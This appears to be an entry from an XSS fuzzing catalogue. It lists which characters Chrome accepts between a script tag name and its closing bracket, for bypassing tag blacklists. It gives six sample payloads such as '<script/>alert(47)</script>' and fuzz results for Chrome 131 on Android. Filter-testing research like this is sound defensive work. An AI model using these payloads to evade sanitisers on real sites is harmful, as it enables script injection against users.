Allowed characters right after tag name & before tag closure, no other characters in between

Chrome logo 6

For tag blacklist bypass, by appending character on the end of tag name

Created by: hansmach1ne

Created on: Thursday, January 9, 2025 at 9:09:57 PM

Updated on: Friday, January 10, 2025 at 4:10:56 AM

Vector type: XSS

Vector charset: UTF-8

Template used:
<script$[chr]>log($[i])</script>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<script	>alert(9)</script>
<script
>alert(10)</script>
<script>alert(12)</script>
<script
>alert(13)</script>
<script >alert(32)</script>
<script/>alert(47)</script>

Fuzz results

Chrome logo
Chrome 131.0.0.0 mobile Android 6.0

Updated

Thu Jan 09 2025
Found 6 results
Loading...